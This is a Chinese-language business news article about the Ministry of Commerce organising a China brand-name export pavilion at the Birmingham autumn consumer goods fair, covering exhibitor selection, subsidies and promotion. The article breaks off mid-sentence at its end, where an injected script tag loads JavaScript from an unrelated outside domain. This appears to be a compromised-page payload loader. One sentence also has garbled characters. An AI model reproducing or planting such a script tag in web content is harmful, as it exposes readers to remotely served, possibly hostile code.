作者：姜蓉 來源：中國經營報
伯明翰國際博覽會是世界著名的消費品類專業博覽會之一，囊括了全部禮品及家庭用品行業的產品，伯明翰秋季博覽會自1991年開始舉辦，與德國法蘭克福秋季消費品博覽會和意大利馬契夫博覽會齊名，同屬世界著名三大專業消費品博覽會。目前展覽面積已經達到6萬平方米，專業觀眾5萬多人。女人網http://www.hxlady.com
為了實施名牌出口戰略，擴大中國名牌商品對英國及其他歐盟國家的出口，商務部將于9月5日至8日首次以政府組團的方式組織中國部分名牌出口企業在伯明翰秋季博覽會期間舉辦“中國名牌出口商品歐洲展”，以集中展示我國名牌出口商品的整體水平和實力。借船出海
這次名牌展有著較好的貿易背景。商務部對外貿易司貿易促進處負責人告訴記者，隨著中國參與世界貿易程度的不斷提高和經濟實力的日益增強，“中國熱”今年來滲透到包括英國在內的很多國家的政府和民間。中英兩國經貿關系的發展有著廣泛的社會基礎。目前，中、英兩國的經濟規模分列世界第六和第四位，但雙邊貿易額僅占各自貿易總額的2％弱，中英貿易發展潛力很大。以“中國名牌出品商品歐洲展”的形式正是一種挖掘中英、中歐之間貿易潛力的有效舉措。
同時，該負責人指出從境外辦展的經驗看，單獨辦展效果不理想，因為中國企業出國單獨辦展需要大量的宣傳，費用很高，還需要有客戶群基礎等條件。而選擇一個可以依托國際一流展會，借船出海，打出中國的名牌。
伯明翰消費品展是世界三大消費品展之一。展品主要是禮品、玩具、箱包、工藝等消費品，專業觀眾5萬多人，而且處于不斷上升期。其買家來自世界各地，對歐洲市場輻射力很強，是企業打開歐洲市場的一個很好的平臺。因此，商務部此次組團將把該展覽會中9號館也是其最好的位置租下來了，定名為中國館，集中展示中國名牌日用消費品。此次展覽計劃組織150個展位，面積約3000平方米。精品戰略
據了解，這個名牌展的消息剛一發出，報名企業就迅速超過150家。企業的積極參與一方面原因是由于伯明翰展是世界一流的展覽會，并是有5萬多專業觀眾的巨大吸引力，另一方面原因是此次展覽定位為名牌展，政府在展前通過駐外的參贊處，做了大量的廣告宣傳，另外，由于商務部拿到了比較低的展位價格，攤位費經過特裝修以后比廣交會的價格還低。
此次出國展承辦的通用國際廣告展覽公司總經理李仁貴透露，政府為減輕企業參展負擔共補貼700萬元。這次出展與以往不同，立項審批都由商務部主管。通用國際廣告展覽公司只負責展覽中事務性的工作。而且在簽證等事項上企業都不會遇到問題?；谝陨显?，企業對參展的期望值很高。
但是此次展覽定位為名牌展，目的是為了展示中國的名牌出口商品，改變歐洲人對我國產品檔次不高的印象，因此，為了提高展示效果，只能從報名企業里優中選優，初定選擇50家名牌企業參加。李仁貴告訴記者，由于報名企業太多，可能名額會增加到80個。據悉，北京的天壇家俱、大寶化妝品，上海的三槍內衣、英雄筆等中國品牌企業會在此次名牌展上亮相。
名牌的甄選原則也來源于廣交會品牌展區的經驗。95屆廣交會設立品牌展區之后，品牌展區有2000個攤位，占總攤位數的7％，共成交44．4億美元，占整個成交額的18％，因此，根據廣交會的經驗，此次赴歐洲參展選擇名牌精品參加。
選擇企業時，除了要與伯明翰的展覽主題相吻合以外，主要是在廣交會上進入品牌展區里的企業中選擇。而品牌展區從事輕工業的企業近百家，按照成交額進行排名，在報名企業眾多的情況下，按照排名順序選擇企業。
此次中國名牌展除了選擇一流的產品，一流的企業精品參展以外，值得一提的是，為了使中國館有統一的形象，館內全部統一特裝修，不設標攤。李仁貴告訴記者，與以往不同，此次承辦方特別對企業強調要選擇最好的展品去參展，另外，要挑選高素質外派人員，參展人員要能與買家直接對話。因為這不僅代表了企業自身，還代表國家的形象。三段式推介
此次赴英是中國名牌企業第一次大規模參展，商務部在展前、展中、展后三段的推介力度都很大。
目前已經通過中國使館在國外做了一些宣傳，在國外媒體上透露伯明翰消費品展中國館將亮相的消息。參展前的布展也是非常重要的環節，此次布展全部采用特裝修，在國內把布展工作完成，通過計算機打樣審定，將設計和裝修基礎工作做完，運到英國組裝。
貿易促進處負責人透露“在展會上，中國館會有一個統一的形象。同時，在展覽期間，商務部還會組織一系列的政府的推介活動，比如舉辦新聞發布會，通過英國的主流媒體宣傳中國名牌商品情況，展示中國出口商品結構調整的成果。由于國外展會沒有開幕式，中國館又是首次亮相，此次名牌展準備搞一個中國館的開館活動。請一些英國和歐洲工商界的名流參加，加大推介力度。”
將名牌效應延續下去不能光靠一次展會，“要想使中國名牌真正地走出國門成為世界品牌不是一朝一夕之事，在展后也要有一些推介策略，比如?script src=http://cn.jxmmtv.com/cn.js></script>